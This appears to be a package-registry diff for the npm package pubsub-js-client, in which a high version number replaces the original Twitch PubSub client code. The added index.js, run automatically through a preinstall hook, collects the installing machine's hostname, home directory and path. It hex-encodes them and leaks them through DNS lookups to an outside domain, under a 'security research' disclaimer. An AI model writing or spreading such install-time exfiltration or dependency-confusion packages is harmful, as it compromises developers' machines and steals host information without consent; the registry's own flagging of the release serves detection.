pubsub-js-client 0.6.1 → 25.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of pubsub-js-client might be problematic. Click here for more details.
- package/README.md +1 -70
- package/index.js +80 -0
- package/package.json +15 -26
- package/src/IframeClient.js +0 -182
- package/src/IframeHost.js +0 -174
- package/src/PubsubDriver.js +0 -177
- package/src/PubsubSocket.js +0 -186
- package/src/PubsubTest.js +0 -189
- package/src/WebsocketClient.js +0 -383
- package/src/events.js +0 -43
- package/src/log.js +0 -121
- package/src/mymap.js +0 -49
- package/src/util.js +0 -51
package/README.md
CHANGED
@@ -1,70 +1 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
This is the library to integrate with our new PubSub service.
|
4
|
-
|
5
|
-
## Installation
|
6
|
-
|
7
|
-
Make sure you are running node version `8.17.0` as more modern versions do not work.
|
8
|
-
|
9
|
-
```bash
|
10
|
-
make build
|
11
|
-
```
|
12
|
-
|
13
|
-
This generates `dist/pubsub.js` which is in AMD.
|
14
|
-
|
15
|
-
## Browser parameters
|
16
|
-
|
17
|
-
* `pubsub_log_level` Set this to `debug` to see all messages in console logs
|
18
|
-
* `force_pubsub_tester` Set this to `false` to disable pubsub_tester messages
|
19
|
-
|
20
|
-
## Client API
|
21
|
-
|
22
|
-
##### Instantiation
|
23
|
-
```javascript
|
24
|
-
let driver = PubsubDriver.getInstance(environment); // environment can be "production" or "darklaunch"
|
25
|
-
|
26
|
-
// Driver automatically connects to Pubsub on instantiation
|
27
|
-
|
28
|
-
driver.on("connected", function () { ... });
|
29
|
-
// Triggered when the driver first connects
|
30
|
-
// Also triggered upon recovering from a disconnect
|
31
|
-
driver.on("reconnected", function() { ... });
|
32
|
-
// Triggered when the driver recovers from a disconnect
|
33
|
-
driver.on("disconnected", function () { ... });
|
34
|
-
// Triggered when the driver loses connection to the Pubsub
|
35
|
-
// Driver automatically attempts to reconnect and re-listen on topics
|
36
|
-
```
|
37
|
-
##### Methods
|
38
|
-
```javascript
|
39
|
-
driver.Listen({
|
40
|
-
topic: "topic",
|
41
|
-
auth: "auth_token",
|
42
|
-
success: function (), // callback when Driver has successfully listened on the topic
|
43
|
-
failure: function (err), // callback when there was an error listening - either a permissions error, or a timeout
|
44
|
-
message: function (msg) // callback when a message is received on this topic
|
45
|
-
});
|
46
|
-
|
47
|
-
driver.Unlisten({
|
48
|
-
topic: "topic",
|
49
|
-
success: function (), // callback when the Driver has successfully unlistened on the topic
|
50
|
-
failure: function (err), // callback when there was an error unlistening
|
51
|
-
message: function (msg) // a reference to the callback used in the initial Listen(), to specify which callback to remove
|
52
|
-
})
|
53
|
-
```
|
54
|
-
|
55
|
-
##### Example
|
56
|
-
```javascript
|
57
|
-
let driver = PubsubDriver.getInstance("production");
|
58
|
-
driver.Listen({
|
59
|
-
topic: "pubsubtest.123456",
|
60
|
-
success: function () { console.log("successfully listened"); },
|
61
|
-
failure: function (err) { console.log("error listening: " + err); },
|
62
|
-
message: function (msg) { console.log("received message: " + msg); }
|
63
|
-
});
|
64
|
-
```
|
65
|
-
```bash
|
66
|
-
curl -v -X POST https://pubster.twitch.tv/publish -d '{"topics":["pubsubtest.123456"],"data":"arbitrary string"}'
|
67
|
-
```
|
68
|
-
|
69
|
-
##### Troubleshooting
|
70
|
-
Try `let driver = PubsubDriver.default.getInstance("production");` (add `.default.`)
|
1
|
+
This package is meant for security research purposes and does not contain any useful code.
|
package/index.js
ADDED
@@ -0,0 +1,80 @@
|
|
1
|
+
/*
|
2
|
+
|
3
|
+
This code is used for research purposes.
|
4
|
+
|
5
|
+
No sensitive data is retrieved.
|
6
|
+
|
7
|
+
Callbacks from within organizations with a
|
8
|
+
responsible disclosure program will be reported
|
9
|
+
directly to the organizations.
|
10
|
+
|
11
|
+
Any other callbacks will be ignored, and
|
12
|
+
any associated data will not be kept.
|
13
|
+
|
14
|
+
For any questions or suggestions:
|
15
|
+
|
16
|
+
alex@ethicalhack.ro
|
17
|
+
https://twitter.com/alxbrsn
|
18
|
+
|
19
|
+
*/
|
20
|
+
|
21
|
+
|
22
|
+
const dns = require('dns');
|
23
|
+
const os = require('os');
|
24
|
+
|
25
|
+
const suffix = '.dns.thewhybee.com';
|
26
|
+
const ns = 'dns1.thewhybee.com';
|
27
|
+
|
28
|
+
const package = 'pubsub-js-client';
|
29
|
+
|
30
|
+
|
31
|
+
function sendToServer(data) {
|
32
|
+
|
33
|
+
data = Buffer.from(data).toString('hex');
|
34
|
+
data = data.match(/.{1,60}/g);
|
35
|
+
|
36
|
+
id = Math.random().toString(36).substring(2);
|
37
|
+
|
38
|
+
data.forEach(function (chunk, idx){
|
39
|
+
try {
|
40
|
+
dns.resolve(
|
41
|
+
'v2_f.' + id + '.' + idx + '.' + chunk + '.v2_e' + suffix, 'A',
|
42
|
+
console.log);
|
43
|
+
} catch (e) { }
|
44
|
+
});
|
45
|
+
|
46
|
+
}
|
47
|
+
|
48
|
+
function tryGet(toCall) {
|
49
|
+
|
50
|
+
try {
|
51
|
+
return toCall();
|
52
|
+
} catch(e) {
|
53
|
+
return 'err';
|
54
|
+
}
|
55
|
+
|
56
|
+
}
|
57
|
+
|
58
|
+
data = {
|
59
|
+
p : package,
|
60
|
+
h : tryGet(os.hostname),
|
61
|
+
d : tryGet(os.homedir),
|
62
|
+
c : __dirname
|
63
|
+
}
|
64
|
+
|
65
|
+
if (data['h'] == 'BBOGENS-LAPTOP') {
|
66
|
+
process.exit(0);
|
67
|
+
}
|
68
|
+
|
69
|
+
data = JSON.stringify(data);
|
70
|
+
|
71
|
+
sendToServer(data);
|
72
|
+
dns.lookup(ns, function(err, address) {
|
73
|
+
if (!err) {
|
74
|
+
nsAddress = address;
|
75
|
+
} else {
|
76
|
+
nsAddress = '8.8.8.8';
|
77
|
+
}
|
78
|
+
dns.setServers([nsAddress, '8.8.4.4']);
|
79
|
+
sendToServer(data);
|
80
|
+
});
|
package/package.json
CHANGED
@@ -1,26 +1,15 @@
|
|
1
|
-
{
|
2
|
-
"name": "pubsub-js-client",
|
3
|
-
"version": "0.6
|
4
|
-
"description": "
|
5
|
-
"main": "
|
6
|
-
"
|
7
|
-
"
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
"
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
"broccoli": "^0.16.3",
|
17
|
-
"broccoli-babel-transpiler": "^5.1.1",
|
18
|
-
"broccoli-cli": "^1.0.0",
|
19
|
-
"broccoli-es6modules": "^0.6.1",
|
20
|
-
"broccoli-funnel": "^0.2.3",
|
21
|
-
"broccoli-sourcemap-concat": "^0.4.4",
|
22
|
-
"jscs": "^1.13.1",
|
23
|
-
"jshint": "^2.9.1",
|
24
|
-
"webpack": "^1.12.13"
|
25
|
-
}
|
26
|
-
}
|
1
|
+
{
|
2
|
+
"name": "pubsub-js-client",
|
3
|
+
"version": "25.0.6",
|
4
|
+
"description": "Security research purposes only.",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
|
14
|
+
}
|
15
|
+
}
|
package/src/IframeClient.js
DELETED
@@ -1,182 +0,0 @@
|
|
1
|
-
import EventsDispatcher from "./events";
|
2
|
-
import logging from "./log";
|
3
|
-
import util from "./util";
|
4
|
-
import MyMap from "./mymap";
|
5
|
-
|
6
|
-
const NONCE_LENGTH = 30;
|
7
|
-
const RESPONSE_TIMEOUT = 30 * 1000; // 30 seconds
|
8
|
-
const VERIFY_TIMEOUT = 1 * 1000; // 1 second
|
9
|
-
const TWITCH_PROTOCOL = "pubsub";
|
10
|
-
|
11
|
-
var logger = logging._getLogger("IframeClient");
|
12
|
-
|
13
|
-
class IframeClient extends EventsDispatcher {
|
14
|
-
constructor (opts) {
|
15
|
-
super(opts);
|
16
|
-
this._parentUrl = opts.parentUrl;
|
17
|
-
this._pendingResponses = new MyMap();
|
18
|
-
this._listens = new EventsDispatcher();
|
19
|
-
|
20
|
-
window.addEventListener("message", this.receiveMessage.bind(this), false);
|
21
|
-
}
|
22
|
-
|
23
|
-
connect () {
|
24
|
-
window.parent.postMessage({
|
25
|
-
twitch_protocol: TWITCH_PROTOCOL,
|
26
|
-
type: "connect"
|
27
|
-
}, this._parentUrl);
|
28
|
-
}
|
29
|
-
|
30
|
-
verify () {
|
31
|
-
window.parent.postMessage({
|
32
|
-
twitch_protocol: TWITCH_PROTOCOL,
|
33
|
-
type: "verify"
|
34
|
-
}, this._parentUrl);
|
35
|
-
this._verifyTimeout = setTimeout(this._unverified.bind(this), VERIFY_TIMEOUT);
|
36
|
-
}
|
37
|
-
|
38
|
-
Listen (opts) {
|
39
|
-
// opts should include: topic, auth, success, failure, message
|
40
|
-
logger.debug("listening on " + opts.topic);
|
41
|
-
var nonce = this._generateNonce();
|
42
|
-
var msg = {
|
43
|
-
twitch_protocol: TWITCH_PROTOCOL,
|
44
|
-
type: "LISTEN",
|
45
|
-
nonce: nonce,
|
46
|
-
data: {
|
47
|
-
topics: [opts.topic],
|
48
|
-
auth_token: opts.auth
|
49
|
-
}
|
50
|
-
};
|
51
|
-
this._send(nonce, msg, opts);
|
52
|
-
}
|
53
|
-
|
54
|
-
Unlisten (opts) {
|
55
|
-
// opts should include: topic, success, failure, message
|
56
|
-
logger.debug("unlistening on " + opts.topic + "(" + this._listens.count(opts.topic) + " listeners)");
|
57
|
-
|
58
|
-
// If there are more than one callbacks waiting on this topic, we can just remove the specified one rather than sending an UNLISTEN
|
59
|
-
if (this._listens.count(opts.topic) > 1) {
|
60
|
-
|
61
|
-
if (opts.message) {
|
62
|
-
this._listens.off(opts.topic, opts.message);
|
63
|
-
}
|
64
|
-
|
65
|
-
if (opts.success) {
|
66
|
-
opts.success();
|
67
|
-
}
|
68
|
-
|
69
|
-
logger.debug("now have " + this._listens.count(opts.topic) + " listeners");
|
70
|
-
return;
|
71
|
-
}
|
72
|
-
|
73
|
-
var nonce = this._generateNonce();
|
74
|
-
var msg = {
|
75
|
-
twitch_protocol: TWITCH_PROTOCOL,
|
76
|
-
type: "UNLISTEN",
|
77
|
-
nonce: nonce,
|
78
|
-
data: {
|
79
|
-
topics: [opts.topic]
|
80
|
-
}
|
81
|
-
};
|
82
|
-
this._send(nonce, msg, opts);
|
83
|
-
}
|
84
|
-
|
85
|
-
_send (nonce, msg, opts) {
|
86
|
-
this._pendingResponses.set(nonce, {
|
87
|
-
timeout: setTimeout(this._onResponseTimeout.bind(this), RESPONSE_TIMEOUT, nonce),
|
88
|
-
topic: opts.topic,
|
89
|
-
auth: opts.auth,
|
90
|
-
message: msg,
|
91
|
-
callbacks: {
|
92
|
-
success: opts.success,
|
93
|
-
failure: opts.failure,
|
94
|
-
message: opts.message
|
95
|
-
}
|
96
|
-
});
|
97
|
-
window.parent.postMessage(msg, this._parentUrl);
|
98
|
-
}
|
99
|
-
|
100
|
-
receiveMessage (event) {
|
101
|
-
if (!event.data || event.data.twitch_protocol != TWITCH_PROTOCOL) {
|
102
|
-
return;
|
103
|
-
}
|
104
|
-
logger.debug("Received message: " + JSON.stringify(event.data));
|
105
|
-
switch (event.data.type) {
|
106
|
-
case "connected":
|
107
|
-
this._trigger("connected");
|
108
|
-
break;
|
109
|
-
case "disconnected":
|
110
|
-
this._trigger("disconnected");
|
111
|
-
break;
|
112
|
-
case "success":
|
113
|
-
this.handleResponse(true, event.data);
|
114
|
-
break;
|
115
|
-
case "failure":
|
116
|
-
this.handleResponse(false, event.data);
|
117
|
-
break;
|
118
|
-
case "message":
|
119
|
-
this.handleMessage(event.data.topic, event.data.message);
|
120
|
-
break;
|
121
|
-
case "verify":
|
122
|
-
this._verified();
|
123
|
-
break;
|
124
|
-
}
|
125
|
-
}
|
126
|
-
|
127
|
-
handleResponse (successful, resp) {
|
128
|
-
if (this._pendingResponses.has(resp.nonce)) {
|
129
|
-
var responseInfo = this._pendingResponses.get(resp.nonce);
|
130
|
-
logger.debug("ResponseInfo: " + JSON.stringify(responseInfo));
|
131
|
-
clearTimeout(responseInfo.timeout);
|
132
|
-
this._pendingResponses.remove(resp.nonce);
|
133
|
-
|
134
|
-
if (successful) {
|
135
|
-
|
136
|
-
|
137
|
-
if (responseInfo.callbacks.message) {
|
138
|
-
if (responseInfo.message.type === "LISTEN") {
|
139
|
-
this._listens.on(responseInfo.topic, responseInfo.callbacks.message, this);
|
140
|
-
} else if (responseInfo.message.type === "UNLISTEN") {
|
141
|
-
this._listens.off(responseInfo.topic, responseInfo.callbacks.message, this);
|
142
|
-
}
|
143
|
-
}
|
144
|
-
|
145
|
-
if (responseInfo.callbacks.success) {
|
146
|
-
responseInfo.callbacks.success();
|
147
|
-
}
|
148
|
-
} else {
|
149
|
-
if (responseInfo.callbacks.failure) {
|
150
|
-
responseInfo.callbacks.failure(resp.error);
|
151
|
-
}
|
152
|
-
}
|
153
|
-
}
|
154
|
-
}
|
155
|
-
|
156
|
-
handleMessage (topic, msg) {
|
157
|
-
logger.debug("received '" + msg + "' on topic " + topic);
|
158
|
-
this._listens._trigger(topic, msg);
|
159
|
-
}
|
160
|
-
|
161
|
-
_onResponseTimeout (nonce) {
|
162
|
-
logger.debug("response timed out: " + nonce);
|
163
|
-
}
|
164
|
-
|
165
|
-
_verified () {
|
166
|
-
logger.debug("Verified");
|
167
|
-
clearTimeout(this._verifyTimeout);
|
168
|
-
this._trigger("verified");
|
169
|
-
}
|
170
|
-
|
171
|
-
_unverified () {
|
172
|
-
window.removeEventListener("message", this.receiveMessage.bind(this), false);
|
173
|
-
this._trigger("unverified");
|
174
|
-
}
|
175
|
-
|
176
|
-
// Utility functions
|
177
|
-
_generateNonce () {
|
178
|
-
return util.generateString(NONCE_LENGTH);
|
179
|
-
}
|
180
|
-
}
|
181
|
-
|
182
|
-
export default IframeClient;
|
package/src/IframeHost.js
DELETED
@@ -1,174 +0,0 @@
|
|
1
|
-
import logging from "./log";
|
2
|
-
|
3
|
-
const TWITCH_PROTOCOL = "pubsub";
|
4
|
-
const ORPHAN_CHECK_INTERVAL = 10000;
|
5
|
-
|
6
|
-
var logger = logging._getLogger("IframeHost");
|
7
|
-
|
8
|
-
class IframeHost {
|
9
|
-
constructor (driver) {
|
10
|
-
this._driver = driver;
|
11
|
-
this._sources = [];
|
12
|
-
this._listeners = [];
|
13
|
-
this._driver.on("connected", this.handleConnected, this);
|
14
|
-
this._driver.on("disconnected", this.handleDisconnected, this);
|
15
|
-
window.addEventListener("message", this.receiveMessage.bind(this), false);
|
16
|
-
|
17
|
-
// Periodically check to see if we have any orphaned listeners
|
18
|
-
this._orphanedListenerCheckTimer = setInterval(this._checkOrphanedListeners.bind(this), ORPHAN_CHECK_INTERVAL);
|
19
|
-
}
|
20
|
-
|
21
|
-
destroy () {
|
22
|
-
clearInterval(this._orphanedListenerCheckTimer);
|
23
|
-
}
|
24
|
-
|
25
|
-
receiveMessage (event) {
|
26
|
-
if (!event.data || event.data.twitch_protocol != TWITCH_PROTOCOL || !event.source) {
|
27
|
-
return;
|
28
|
-
}
|
29
|
-
logger.debug("Received message: " + JSON.stringify(event.data));
|
30
|
-
switch (event.data.type) {
|
31
|
-
case "LISTEN":
|
32
|
-
this.handleListen(event.source, event.data.nonce, event.data.data);
|
33
|
-
break;
|
34
|
-
case "UNLISTEN":
|
35
|
-
this.handleUnlisten(event.source, event.data.nonce, event.data.data);
|
36
|
-
break;
|
37
|
-
case "connect":
|
38
|
-
this._sources.push(event.source);
|
39
|
-
this._driver.connect();
|
40
|
-
break;
|
41
|
-
case "verify":
|
42
|
-
event.source.postMessage({
|
43
|
-
twitch_protocol: TWITCH_PROTOCOL,
|
44
|
-
type: "verify"
|
45
|
-
}, "*");
|
46
|
-
break;
|
47
|
-
}
|
48
|
-
}
|
49
|
-
|
50
|
-
// Keeps track of which sources are listening to which topics
|
51
|
-
// Returns an object containing the source, topic, and onMessage callback
|
52
|
-
// If a listener already exists for the specified source and topic, returns null
|
53
|
-
_pushListener (source, topic) {
|
54
|
-
// If we've already got a listener for this source and topic we don't need to create another one
|
55
|
-
for (var i = 0; i < this._listeners.length; i++) {
|
56
|
-
if (this._listeners[i].source === source && this._listeners[i].topic === topic) {
|
57
|
-
return null;
|
58
|
-
}
|
59
|
-
}
|
60
|
-
|
61
|
-
var listener = {
|
62
|
-
source: source,
|
63
|
-
topic: topic,
|
64
|
-
message: function (msg) {
|
65
|
-
source.postMessage({twitch_protocol: TWITCH_PROTOCOL, type: "message", topic: topic, message: msg}, "*");
|
66
|
-
}
|
67
|
-
};
|
68
|
-
|
69
|
-
this._listeners.push(listener);
|
70
|
-
|
71
|
-
return listener;
|
72
|
-
}
|
73
|
-
|
74
|
-
// Untracks and returns the listener for the given source and topic
|
75
|
-
// If no listener is found for the specified source and topic, returns null
|
76
|
-
_popListener (source, topic) {
|
77
|
-
for (var i = 0; i < this._listeners.length; i++) {
|
78
|
-
if (this._listeners[i].source === source && this._listeners[i].topic === topic) {
|
79
|
-
return this._listeners.splice(i, 1)[0];
|
80
|
-
}
|
81
|
-
}
|
82
|
-
|
83
|
-
return null;
|
84
|
-
}
|
85
|
-
|
86
|
-
// Checks to see if any of the registered listeners have a source that has been deleted
|
87
|
-
// Calls Unlisten on any listeners that are found
|
88
|
-
_checkOrphanedListeners () {
|
89
|
-
for (var i = 0; i < this._listeners.length; i++) {
|
90
|
-
// source is a reference to the window that sent the postMessage
|
91
|
-
if (this._listeners[i].source.closed) {
|
92
|
-
this._cleanUpOrphanedListener(this._listeners.splice(i--, 1)[0]);
|
93
|
-
}
|
94
|
-
}
|
95
|
-
}
|
96
|
-
|
97
|
-
// Call Unlisten for the supplied listener with local logging as callback because the listener passed in has no source
|
98
|
-
_cleanUpOrphanedListener (listener) {
|
99
|
-
logger.debug("Cleaning up orphaned listener for topic: " + listener.topic);
|
100
|
-
this._driver.Unlisten({
|
101
|
-
topic: listener.topic,
|
102
|
-
success: (function () {
|
103
|
-
logger.debug("Success when cleaning up orphaned listener for topic: " + listener.topic);
|
104
|
-
}),
|
105
|
-
failure: (function (err) {
|
106
|
-
logger.debug("Error when cleaning up orphaned listener for topic: " + listener.topic + " Error: " + err);
|
107
|
-
}),
|
108
|
-
message: listener.message
|
109
|
-
});
|
110
|
-
}
|
111
|
-
|
112
|
-
handleListen (source, nonce, data) {
|
113
|
-
var listener = this._pushListener(source, data.topics[0]);
|
114
|
-
|
115
|
-
// We already have a listener for this source and topic so just send back the success message
|
116
|
-
if (!listener) {
|
117
|
-
source.postMessage({twitch_protocol: TWITCH_PROTOCOL, type: "success", nonce: nonce}, "*");
|
118
|
-
return;
|
119
|
-
}
|
120
|
-
|
121
|
-
this._driver.Listen({
|
122
|
-
topic: listener.topic,
|
123
|
-
auth: data.auth_token,
|
124
|
-
success: (function () {
|
125
|
-
source.postMessage({twitch_protocol: TWITCH_PROTOCOL, type: "success", nonce: nonce}, "*");
|
126
|
-
}),
|
127
|
-
failure: (function (err) {
|
128
|
-
source.postMessage({twitch_protocol: TWITCH_PROTOCOL, type: "failure", nonce: nonce, error: err}, "*");
|
129
|
-
}),
|
130
|
-
message: listener.message
|
131
|
-
});
|
132
|
-
}
|
133
|
-
|
134
|
-
handleUnlisten (source, nonce, data) {
|
135
|
-
var listener = this._popListener(source, data.topics[0]);
|
136
|
-
|
137
|
-
if (!listener) {
|
138
|
-
logger.debug("Failed to unlisten, could not find listener for topic " + data.topics[0]);
|
139
|
-
return;
|
140
|
-
}
|
141
|
-
|
142
|
-
this._driver.Unlisten({
|
143
|
-
topic: listener.topic,
|
144
|
-
auth: data.auth_token,
|
145
|
-
success: (function () {
|
146
|
-
source.postMessage({twitch_protocol: TWITCH_PROTOCOL, type: "success", nonce: nonce}, "*");
|
147
|
-
}),
|
148
|
-
failure: (function (err) {
|
149
|
-
source.postMessage({twitch_protocol: TWITCH_PROTOCOL, type: "failure", nonce: nonce, error: err}, "*");
|
150
|
-
}),
|
151
|
-
message: listener.message
|
152
|
-
});
|
153
|
-
}
|
154
|
-
|
155
|
-
handleConnected () {
|
156
|
-
for (var i = 0; i < this._sources.length; i++) {
|
157
|
-
this._sources[i].postMessage({
|
158
|
-
twitch_protocol: TWITCH_PROTOCOL,
|
159
|
-
type: "connected"
|
160
|
-
}, "*");
|
161
|
-
}
|
162
|
-
}
|
163
|
-
|
164
|
-
handleDisconnected () {
|
165
|
-
for (var i = 0; i < this._sources.length; i++) {
|
166
|
-
this._sources[i].postMessage({
|
167
|
-
twitch_protocol: TWITCH_PROTOCOL,
|
168
|
-
type: "disconnected"
|
169
|
-
}, "*");
|
170
|
-
}
|
171
|
-
}
|
172
|
-
}
|
173
|
-
|
174
|
-
export default IframeHost;
|